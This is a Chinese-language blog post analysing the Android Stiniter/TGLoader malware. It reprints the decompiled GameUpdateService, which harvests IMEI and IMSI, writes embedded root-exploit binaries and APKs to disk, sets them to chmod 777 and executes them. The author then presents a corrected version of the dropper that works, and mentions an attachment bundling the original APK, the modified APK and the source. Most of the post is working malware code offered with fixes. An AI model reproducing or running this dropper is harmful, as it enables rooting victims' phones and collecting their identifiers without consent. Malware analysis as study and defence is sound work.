android的一款自释放root型恶意软件分析
首先介绍个网站
http://contagiominidump.blogspot.com/
非常好的一个网站,主要是他隔三差五的会放出个android恶意软件,我的分析就是基于他给出的apk文件。
注意要FQ
android.dds.com-STiNiTER_analyse.apk
首先这个是我的目标
http://contagiominidump.blogspot.com/2012/03/androidstiniter-tgloader-malware.html#more
一个属于自释放root型的恶意代码。
1 首先解压缩,反编译就不细说了。具体用到了jd-gui,dex2jar,apktool
得到了AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.dds.com"
android:versionCode="1"
android:versionName="1.0" >
<application
android:icon="@drawable/icon"
android:label="@string/app_name" >
<activity
android:configChanges="keyboardHidden|orientation"
android:label="@string/app_name"
android:name=".Main"
android:screenOrientation="portrait" >
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".service.PlayerBindService" />
<service android:name="com.gamebox.service.GameUpdateService" />
</application>
</manifest>
标红部分为恶意程序的主题,是个service
2. 打开Main class,这个是起始activity,打开Main.java代码:看到一启动Main,就启动了后台GameUpdateService
public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
startService(new Intent(this, GameUpdateService.class));
Instance = this;
3 这是这个释放性root恶意软件的核心代码,有注释
package com.gamebox.service;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.dds.com.R;
import android.os.Build;
import android.os.Build.VERSION;
import android.os.IBinder;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintStream;
import java.util.UUID;
public class GameUpdateService extends Service {
private String DATA;
private String IMEI;
private String IMSI;
private String MODEL;
private InputStream MinputStreamAPK;
private String MpathAPK;
private int MstateAPKFile;
private String OS;
private String PHONENUMBER;
private String PLATFORM;
private String SCREENSIZE;
private String infoName;
private String infoPath;
// 从raw资源中提取的恶意程序,root必要组件
private InputStream inputStreamAPK;
private InputStream inputStreamEX;
private InputStream inputStreamEXE;
private InputStream inputStreamID;
private InputStream inputStreamKEEP;
private InputStream inputStreamUNLOCK;
private InputStream inputStreamstart;
private DataInputStream localDataInputStream;
private DataOutputStream localDataOutputStream;
// 释放恶意程序,root必要组件的路径
private String pathAPK;
private String pathEX;
private String pathEXE;
private String pathID;
private String pathKEEP;
private String pathUNLOCK;
private String pathstart;
private Process process;
//
private int stateAPKFile;
private int stateEXEFile;
private int stateEXFile;
private int stateIDFile;
private int stateKEEPFile;
private int stateUNLOCKFile;
private int statestartFile;
private String str;
/*
* 在service
* oncreate结束后调用这些线程thread,第一个主要是输出这些apk到指定目录,这里我发现了些问题。在onCreate中已经提到了这个恶意程序的问题
* 。 即data/data/android.gdwsklzz.com这个目录的权限问题,我估计是他抄的或者改的高达无双科鲁兹传的某个恶意软件版本。
*/
Thread thread = new Thread(new Runnable() {
public void run()
{ // 检查是否是root过的机子
if (!new File("/system/bin/keeper").exists()) {
System.out.println("---start rootSatae");
try {
while (true) {
String str = new String(GameUpdateService.this.DATA
.getBytes("UTF-8"), "UTF-8");
// 这里会报错,因为infoPath是指向data/data/android.gdwsklzz.com/的,所以这个app是没有权限的,所以这个恶意程序在这里实际是走不通的。
File localFile1 = new File(
GameUpdateService.this.infoPath);
if (!localFile1.exists())
localFile1.mkdir();
File localFile2 = new File(
GameUpdateService.this.infoPath
+ GameUpdateService.this.infoName);
if (localFile2.exists())
localFile2.delete();
//这里实际上是创建新文件
localFile2.createNewFile();
FileOutputStream localFileOutputStream = new FileOutputStream(
localFile2);
localFileOutputStream.write(str.getBytes("UTF-8"));
localFileOutputStream.flush();
localFileOutputStream.close();
// 后面是释放root代码的地方。这里利用的是从raw中提取的资源,利用后面的write方法写到了程序自己的目录中(而不是乱写别人的目录,这是不可能的),这里写了好几个apk,这也是关键的实现自释放的代码 GameUpdateService.this.stateUNLOCKFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamUNLOCK,
GameUpdateService.this.pathUNLOCK);
if (GameUpdateService.this.stateUNLOCKFile != 0)
break label845;
GameUpdateService.this.stateAPKFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamAPK,
GameUpdateService.this.pathAPK);
if (GameUpdateService.this.stateAPKFile != 0)
break label817;
GameUpdateService.this.MstateAPKFile = GameUpdateService.this
.write(GameUpdateService.this.MinputStreamAPK,
GameUpdateService.this.MpathAPK);
if (GameUpdateService.this.MstateAPKFile != 0)
break label789;
GameUpdateService.this.stateIDFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamID,
GameUpdateService.this.pathID);
if (GameUpdateService.this.stateIDFile != 0)
break label743;
GameUpdateService.this.stateEXEFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamEXE,
GameUpdateService.this.pathEXE);
if (GameUpdateService.this.stateEXEFile != 0)
break;
GameUpdateService.this.stateKEEPFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamKEEP,
GameUpdateService.this.pathKEEP);
if (GameUpdateService.this.stateKEEPFile == 0) {
GameUpdateService.this.stateEXFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamEX,
GameUpdateService.this.pathEX);
if (GameUpdateService.this.stateEXFile != 0)
continue;
GameUpdateService.this.statestartFile = GameUpdateService.this
.write(GameUpdateService.this.inputStreamstart,
GameUpdateService.this.pathstart);
if (GameUpdateService.this.statestartFile != 0)
continue;
// 设置权限,给予运行的权限,这里是利用了java的Runtime.getRuntime().exec方法实现的
GameUpdateService.this
.do_exec("chmod 777 /data/data/android.gdwsklzz.com/googleservice.apk");
GameUpdateService.this
.do_exec("chmod 777 /data/data/android.gdwsklzz.com/googlemessage.apk");
GameUpdateService.this
.do_exec("chmod 777 /data/data/android.gdwsklzz.com/unlock.apk");
GameUpdateService.this
.do_exec("chmod 777 /data/data/android.gdwsklzz.com/ts");
GameUpdateService.this
.do_exec("chmod 777 /data/data/android.gdwsklzz.com/keeper");
GameUpdateService.this
.do_exec("chmod 777 /data/data/android.gdwsklzz.com/initr");
//这里就是开始root了 ,thread12负责干这个事情
GameUpdateService.this.thread1.start();
GameUpdateService.this
.do_exec("chmod 777 /data/data/android.gdwsklzz.com/initr");
GameUpdateService.this
.do_exec("/data/data/android.gdwsklzz.com/initr");
return;
}
System.out.println("---fail writeKEEP");
new File(GameUpdateService.this.pathKEEP).delete();
try {
Thread.sleep(10000L);
} catch (InterruptedException localInterruptedException7) {
localInterruptedException7.printStackTrace();
}
}
} catch (IOException localIOException1) {
}
}
}
});
// 应该还是root的代码。
Thread thread1 = new Thread(new Runnable() {
public void run() {
GameUpdateService.this
.do_exec("chmod 777 /data/data/android.gdwsklzz.com/start");
GameUpdateService.this
.do_exec("/data/data/android.gdwsklzz.com/start");
}
});
// 应该还是root的代码。
Thread thread2 = new Thread(new Runnable() {
public void run() {
GameUpdateService.this
.do_exec("chmod 777 /sqlite_stmt_journals/initr");
GameUpdateService.this.do_exec("/sqlite_stmt_journals/initr");
}
});
private String version;
/*
* 这个是比较核心的一个方法,主要是Runtime.getRuntime().exec(paramString),执行命令
* 并将结果返回localObject string类型。
*/
String do_exec(String paramString) {
Object localObject = "\n";
try {
BufferedReader localBufferedReader = new BufferedReader(
new InputStreamReader(Runtime.getRuntime()
.exec(paramString).getInputStream()));
while (true) {
String str1 = localBufferedReader.readLine();
if (str1 == null)
break;
String str2 = localObject + str1 + "\n";
localObject = str2;
}
} catch (IOException localIOException) {
localIOException.printStackTrace();
}
return (String) paramString;
}
public IBinder onBind(Intent paramIntent) {
return null;
}
/*
* GameUpdateService 开始加载,一开始读取了本地号码等一些常规信息,没有什么大用,后面就是加载内部带的邪恶的apk了。
*/
public void onCreate() {
super.onCreate();
// 打印信息开始,
System.out.println("--- onCreate GameUpdateService ---");
// 获取通信服务的管理器
TelephonyManager localTelephonyManager = (TelephonyManager) getSystemService("phone");
// 获取屏幕分辩率
new DisplayMetrics();
DisplayMetrics localDisplayMetrics = getApplicationContext()
.getResources().getDisplayMetrics();
// 得到机器码?这部分总而言之就是得到各种系统信息。
this.IMEI = localTelephonyManager.getDeviceId();
if ((this.IMEI == null) || (this.IMEI.equals("")))
this.IMEI = UUID.randomUUID().toString();
this.IMSI = localTelephonyManager.getSubscriberId();
if (this.IMSI == null)
this.IMSI = "";
this.IMEI = this.IMEI;
this.MODEL = Build.MODEL.replace(" ", "");
this.SCREENSIZE = (localDisplayMetrics.widthPixels + "x" + localDisplayMetrics.heightPixels);
this.PLATFORM = Build.VERSION.RELEASE;
this.PHONENUMBER = "13800138000";
this.OS = "Android";
// 并打印
System.out.println("IMEI---" + this.IMEI);
System.out.println("IMSI---" + this.IMSI);
System.out.println("MODEL---" + this.MODEL);
System.out.println("SCREENSIZE---" + this.SCREENSIZE);
System.out.println("PLATFORM---" + this.PLATFORM);
System.out.println("PHONENUMBER---" + this.PHONENUMBER);
System.out.println("OS---" + this.OS);
// str1把如上信息组织起来,形成了一个xml,如下所示:
/*
* <?xml version="1.0" encoding="UTF-8"?> <Request> <MobileInfo>
* <Imei>000000000000000</Imei> <Model>sdk</Model>
* <ScreenSize>320x533</ScreenSize> <PlatForm>2.3.3</PlatForm>
* <Os>Android</Os> <SmsCenter>13800138000</SmsCenter>
* <PhoneNumber>13800138000</PhoneNumber> </MobileInfo>
*/
String str1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Request>\n<MobileInfo>\n<Imei>"
+ this.IMEI
+ "</Imei>\n"
+ "<Model>"
+ this.MODEL
+ "</Model>\n"
+ "<ScreenSize>"
+ this.SCREENSIZE
+ "</ScreenSize>\n"
+ "<PlatForm>"
+ this.PLATFORM
+ "</PlatForm>\n"
+ "<Os>"
+ this.OS
+ "</Os>\n"
+ "<SmsCenter>"
+ "13800138000"
+ "</SmsCenter>\n"
+ "<PhoneNumber>"
+ this.PHONENUMBER
+ "</PhoneNumber>\n"
+ "</MobileInfo>\n";
this.DATA = str1;
this.DATA = str1;
System.out.println("DATA---" + this.DATA);
/*
* 下面就是比较关键的部分了,这个恶意apk,在它自身中包括了多个恶意apk,存放在raw中当作资源,有
* googleservice.apk,googlemessage.apk,以及一些 initr, keeper, start, ts,
* unlock.apk 这几个应该是用来root的 而path则是到时候这些apk应该释放的位置
* 在这个恶意程序中选择了热门流行的gdwskizz即高达无双科鲁兹传的目录( 开始我以为当然如果你没装过这个软件就应该不会中招了
* ---后来发现这个恶意程序有问题
* ,我估计他是抄的高达无双科鲁兹传的某个恶意代码版本,结果路径还是android.gdwsklzz.com/那么明显这个路径是不存在
* ,而且也是无法自己建立的。),
*/ this.infoPath = "/data/data/android.gdwsklzz.com";
this.infoName = "/sys.info";
this.pathAPK = "/data/data/android.gdwsklzz.com/googleservice.apk";
/*
* 这个就是去raw资源中提取apk的过程,其中2130968578转化为16进制7F040002
* 然后再gen下的R.java可以看到对应的是android public static final class raw { public
* static final int android=0x7f040000; public static final int
* googlemessage=0x7f040001; public static final int
* googleservice=0x7f040002; public static final int initr=0x7f040003;
* public static final int keeper=0x7f040004; public static final int
* start=0x7f040005; public static final int ts=0x7f040006; public
* static final int unlock=0x7f040007; }
* 这就是对应的raw数值,因为是反编译的造成了这个差别,我们正常调用这个应该是这样写
* getResources().openRawResource(R.raw.android); 赋值结束就进入
* 程序开头的3个线程去负责root等事宜。
*/ getResources().openRawResource(R.raw.android);
this.inputStreamAPK = getResources().openRawResource(2130968578);
this.pathID = "/data/data/android.gdwsklzz.com/android.info";
this.inputStreamID = getResources().openRawResource(2130968576);
this.MpathAPK = "/data/data/android.gdwsklzz.com/googlemessage.apk";
this.MinputStreamAPK = getResources().openRawResource(2130968577);
this.pathstart = "/data/data/android.gdwsklzz.com/start";
this.inputStreamstart = getResources().openRawResource(2130968581);
this.pathEX = "/data/data/android.gdwsklzz.com/initr";
this.inputStreamEX = getResources().openRawResource(2130968579);
this.pathEXE = "/data/data/android.gdwsklzz.com/ts";
this.inputStreamEXE = getResources().openRawResource(2130968582);
this.pathKEEP = "/data/data/android.gdwsklzz.com/keeper";
this.inputStreamKEEP = getResources().openRawResource(2130968580);
this.pathUNLOCK = "/data/data/android.gdwsklzz.com/unlock.apk";
this.inputStreamUNLOCK = getResources().openRawResource(2130968583);
}
public void onDestroy() {
super.onDestroy();
System.out.println("--- onDestroy GameUpdateService ---");
}
public void onStart(Intent paramIntent, int paramInt) {
super.onStart(paramIntent, paramInt);
System.out.println("--- onStart GameUpdateService ---");
this.thread.start();
}
//这个是利用从rwa中得到的paramInputStream来写文件,代码很简单。
public int write(InputStream paramInputStream, String paramString) {
int i = 0;
File localFile = new File(paramString);
try {
if (!localFile.exists()) {
System.out.println("安装的文件" + paramString);
FileOutputStream localFileOutputStream = new FileOutputStream(
localFile);
byte[] arrayOfByte = new byte[1024];
while (true) {
int j = paramInputStream.read(arrayOfByte);
if (j <= 0) {
localFileOutputStream.flush();
localFileOutputStream.close();
paramInputStream.close();
break;
}
localFileOutputStream.write(arrayOfByte, 0, j);
}
}
} catch (Exception localException) {
System.out.println("erro");
localException.printStackTrace();
i = 1;
}
return i;
}
}
/*
* Location: F:\bishe\android\malware\
* Android_Stiniter_TGLoader_E9AA097C6E87690F938BE8C75EF91C27
* \classes_dex2jar.jar Qualified Name: com.gamebox.service.GameUpdateService
* JD-Core Version: 0.6.0
*/
他这个代码时运行不正常的,下面截图也反映了这一点,主要原因注释中我也写了,就是因为路径指定的问题,他估计是抄的别人的恶意代码,结果是导致了File件操作跨目录没有权限的。


下面是我修正过的代码
package com.icetest.root;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.UUID;
import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;
import android.util.Log;
import com.icetest.root.R;
public class Icetest2Activity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// 打印信息开始,
Log.i("ice root", "当前用户:" + do_exec("id -u"));
Log.i("ice root", "--- onCreate Icetest2Activity ---");
// 获取通信服务的管理器
TelephonyManager localTelephonyManager = (TelephonyManager) getSystemService("phone");
// 获取屏幕分辩率
new DisplayMetrics();
DisplayMetrics localDisplayMetrics = getApplicationContext()
.getResources().getDisplayMetrics();
// 得到机器码?这部分总而言之就是得到各种系统信息。
this.IMEI = localTelephonyManager.getDeviceId();
if ((this.IMEI == null) || (this.IMEI.equals("")))
this.IMEI = UUID.randomUUID().toString();
this.IMSI = localTelephonyManager.getSubscriberId();
if (this.IMSI == null)
this.IMSI = "";
this.IMEI = this.IMEI;
this.MODEL = Build.MODEL.replace(" ", "");
this.SCREENSIZE = (localDisplayMetrics.widthPixels + "x" + localDisplayMetrics.heightPixels);
this.PLATFORM = Build.VERSION.RELEASE;
this.PHONENUMBER = "13800138000";
this.OS = "Android";
// 并打印
Log.d("ice root", "IMEI---" + this.IMEI);
Log.d("ice root", "IMSI---" + this.IMSI);
Log.d("ice root", "MODEL---" + this.MODEL);
Log.d("ice root", "SCREENSIZE---" + this.SCREENSIZE);
Log.d("ice root", "PLATFORM---" + this.PLATFORM);
Log.d("ice root", "PHONENUMBER---" + this.PHONENUMBER);
Log.d("ice root", "OS---" + this.OS);
// str1把如上信息组织起来,形成了一个xml,如下所示:
/*
* <?xml version="1.0" encoding="UTF-8"?> <Request> <MobileInfo>
* <Imei>000000000000000</Imei> <Model>sdk</Model>
* <ScreenSize>320x533</ScreenSize> <PlatForm>2.3.3</PlatForm>
* <Os>Android</Os> <SmsCenter>13800138000</SmsCenter>
* <PhoneNumber>13800138000</PhoneNumber> </MobileInfo>
*/
String str1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Request>\n<MobileInfo>\n<Imei>"
+ this.IMEI
+ "</Imei>\n"
+ "<Model>"
+ this.MODEL
+ "</Model>\n"
+ "<ScreenSize>"
+ this.SCREENSIZE
+ "</ScreenSize>\n"
+ "<PlatForm>"
+ this.PLATFORM
+ "</PlatForm>\n"
+ "<Os>"
+ this.OS
+ "</Os>\n"
+ "<SmsCenter>"
+ "13800138000"
+ "</SmsCenter>\n"
+ "<PhoneNumber>"
+ this.PHONENUMBER
+ "</PhoneNumber>\n"
+ "</MobileInfo>\n";
this.DATA = str1;
this.DATA = str1;
Log.d("ice root", "DATA---" + this.DATA);
/*
* 下面就是比较关键的部分了,这个恶意apk,在它自身中包括了多个恶意apk,存放在raw中当作资源,有
* googleservice.apk,googlemessage.apk,以及一些 initr, keeper, start, ts,
* unlock.apk 这几个应该是用来root的 而path则是到时候这些apk应该释放的位置
*/
this.infoPath = "/data/data/com.icetest.root";
this.infoName = "/sys.info";
this.pathAPK = "/data/data/com.icetest.root/googleservice.apk";
/*
* 这个就是去raw资源中提取apk的过程,
*/
getResources().openRawResource(R.raw.android);
this.inputStreamAPK = getResources().openRawResource(
R.raw.googleservice);
this.pathID = "/data/data/com.icetest.root/android.info";
this.inputStreamID = getResources().openRawResource(R.raw.android);
this.MpathAPK = "/data/data/com.icetest.root/googlemessage.apk";
this.MinputStreamAPK = getResources().openRawResource(
R.raw.googlemessage);
this.pathstart = "/data/data/com.icetest.root/start";
this.inputStreamstart = getResources().openRawResource(R.raw.start);
this.pathEX = "/data/data/com.icetest.root/initr";
this.inputStreamEX = getResources().openRawResource(R.raw.initr);
this.pathEXE = "/data/data/com.icetest.root/ts";
this.inputStreamEXE = getResources().openRawResource(R.raw.ts);
this.pathKEEP = "/data/data/com.icetest.root/keeper";
this.inputStreamKEEP = getResources().openRawResource(R.raw.keeper);
this.pathUNLOCK = "/data/data/com.icetest.root/unlock.apk";
this.inputStreamUNLOCK = getResources().openRawResource(R.raw.unlock);
}
private String DATA;
private String IMEI;
private String IMSI;
private String MODEL;
private InputStream MinputStreamAPK;
private String MpathAPK;
private int MstateAPKFile;
private String OS;
private String PHONENUMBER;
private String PLATFORM;
private String SCREENSIZE;
private String infoName;
private String infoPath;
// 从raw资源中提取的恶意程序,root必要组件
private InputStream inputStreamAPK;
private InputStream inputStreamEX;
private InputStream inputStreamEXE;
private InputStream inputStreamID;
private InputStream inputStreamKEEP;
private InputStream inputStreamUNLOCK;
private InputStream inputStreamstart;
private DataInputStream localDataInputStream;
private DataOutputStream localDataOutputStream;
// 释放恶意程序,root必要组件的路径
private String pathAPK;
private String pathEX;
private String pathEXE;
private String pathID;
private String pathKEEP;
private String pathUNLOCK;
private String pathstart;
private Process process;
//
private int stateAPKFile;
private int stateEXEFile;
private int stateEXFile;
private int stateIDFile;
private int stateKEEPFile;
private int stateUNLOCKFile;
private int statestartFile;
private String str;
/*
* 在service oncreate结束后调用这些线程thread,第一个主要是输出这些apk到指定目录,这里我发现了些问题。
*/
Thread thread = new Thread(new Runnable() {
public void run()
{ // 检查是否是root过的机子
if (!new File("/system/bin/keeper").exists()) {
Log.i("ice root", "---start rootSatae");
try {
while (true) {
String str = new String(Icetest2Activity.this.DATA
.getBytes("UTF-8"), "UTF-8");
File localFile1 = new File(
Icetest2Activity.this.infoPath);
if (!localFile1.exists())
localFile1.mkdir();
File localFile2 = new File(
Icetest2Activity.this.infoPath
+ Icetest2Activity.this.infoName);
if (localFile2.exists())
localFile2.delete();
localFile2.createNewFile();
FileOutputStream localFileOutputStream = new FileOutputStream(
localFile2);
localFileOutputStream.write(str.getBytes("UTF-8"));
localFileOutputStream.flush();
localFileOutputStream.close();
// 后面是释放root代码的地方。
Icetest2Activity.this.stateUNLOCKFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamUNLOCK,
Icetest2Activity.this.pathUNLOCK);
if (Icetest2Activity.this.stateUNLOCKFile != 0)
break;
Icetest2Activity.this.stateAPKFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamAPK,
Icetest2Activity.this.pathAPK);
if (Icetest2Activity.this.stateAPKFile != 0)
break;
Icetest2Activity.this.MstateAPKFile = Icetest2Activity.this
.write(Icetest2Activity.this.MinputStreamAPK,
Icetest2Activity.this.MpathAPK);
if (Icetest2Activity.this.MstateAPKFile != 0)
break;
Icetest2Activity.this.stateIDFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamID,
Icetest2Activity.this.pathID);
if (Icetest2Activity.this.stateIDFile != 0)
break;
Icetest2Activity.this.stateEXEFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamEXE,
Icetest2Activity.this.pathEXE);
if (Icetest2Activity.this.stateEXEFile != 0)
break;
Icetest2Activity.this.stateKEEPFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamKEEP,
Icetest2Activity.this.pathKEEP);
if (Icetest2Activity.this.stateKEEPFile == 0) {
Icetest2Activity.this.stateEXFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamEX,
Icetest2Activity.this.pathEX);
if (Icetest2Activity.this.stateEXFile != 0)
continue;
Icetest2Activity.this.statestartFile = Icetest2Activity.this
.write(Icetest2Activity.this.inputStreamstart,
Icetest2Activity.this.pathstart);
if (Icetest2Activity.this.statestartFile != 0)
continue;
// 设置权限,给予运行的权限,
Icetest2Activity.this
.do_exec("chmod 777 /data/data/com.icetest.root/googleservice.apk");
Icetest2Activity.this
.do_exec("chmod 777 /data/data/com.icetest.root/googlemessage.apk");
Icetest2Activity.this
.do_exec("chmod 777 /data/data/com.icetest.root/unlock.apk");
Icetest2Activity.this
.do_exec("chmod 777 /data/data/com.icetest.root/ts");
Icetest2Activity.this
.do_exec("chmod 777 /data/data/com.icetest.root/keeper");
Icetest2Activity.this
.do_exec("chmod 777 /data/data/com.icetest.root/initr");
//
Icetest2Activity.this.thread1.start();
Icetest2Activity.this
.do_exec("chmod 777 /data/data/com.icetest.root/initr");
Icetest2Activity.this
.do_exec("/data/data/com.icetest.root/initr");
Log.i("ice root", "当前用户:" + do_exec("id -u"));
return;
}
}
} catch (IOException localIOException1) {
localIOException1.printStackTrace();
}
}
}
}
);
// 应该还是root的代码。
Thread thread1 = new Thread(new Runnable() {
public void run() {
Icetest2Activity.this
.do_exec("chmod 777 /data/data/com.icetest.root/start");
Icetest2Activity.this.do_exec("/data/data/com.icetest.root/start");
}
});
// 应该还是root的代码。
Thread thread2 = new Thread(new Runnable() {
public void run() {
Icetest2Activity.this
.do_exec("chmod 777 /sqlite_stmt_journals/initr");
Icetest2Activity.this.do_exec("/sqlite_stmt_journals/initr");
}
});
private String version;
/*
* 这个是比较核心的一个方法,主要是Runtime.getRuntime().exec(paramString),执行命令
* 并将结果返回localObject string类型。这个我修正了下,以前的输出是有问题的
*/
String do_exec(String paramString) {
String localObject = "\n";
String lineS = "";
try {
Process proc = Runtime.getRuntime().exec(paramString);
InputStreamReader isr = new InputStreamReader(proc.getInputStream());
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
lineS = lineS + line + localObject;
}
return lineS;
} catch (IOException localIOException) {
localIOException.printStackTrace();
}
return lineS;
}
public IBinder onBind(Intent paramIntent) {
return null;
}
/*
* Icetest2Activity 开始加载,一开始读取了本地号码等一些常规信息,没有什么大用,后面就是加载内部带的邪恶的apk了。
*/
public void onDestroy() {
super.onDestroy();
System.out.println("--- onDestroy Icetest2Activity ---");
}
@Override
public void onStart() {
super.onStart();
System.out.println("--- onStart Icetest2Activity ---");
this.thread.start();
}
public int write(InputStream paramInputStream, String paramString) {
int i = 0;
File localFile = new File(paramString);
try {
if (!localFile.exists()) {
Log.i("ice root", "安装的文件" + paramString);
FileOutputStream localFileOutputStream = new FileOutputStream(
localFile);
byte[] arrayOfByte = new byte[1024];
while (true) {
int j = paramInputStream.read(arrayOfByte);
if (j <= 0) {
localFileOutputStream.flush();
localFileOutputStream.close();
paramInputStream.close();
break;
}
localFileOutputStream.write(arrayOfByte, 0, j);
}
}
} catch (Exception localException) {
System.out.println("erro");
localException.printStackTrace();
i = 1;
}
return i;
}
}
这是我的运行结果,可以看到日志输出,文件释放和权限修改都成功了,至于root成功没,就不知道了,不过自释放这个功能是实现了。最后附件我打包了原始的恶意程序apk,我修改后的apk,恶意程序的反汇编源代码,以及一份简单的报告


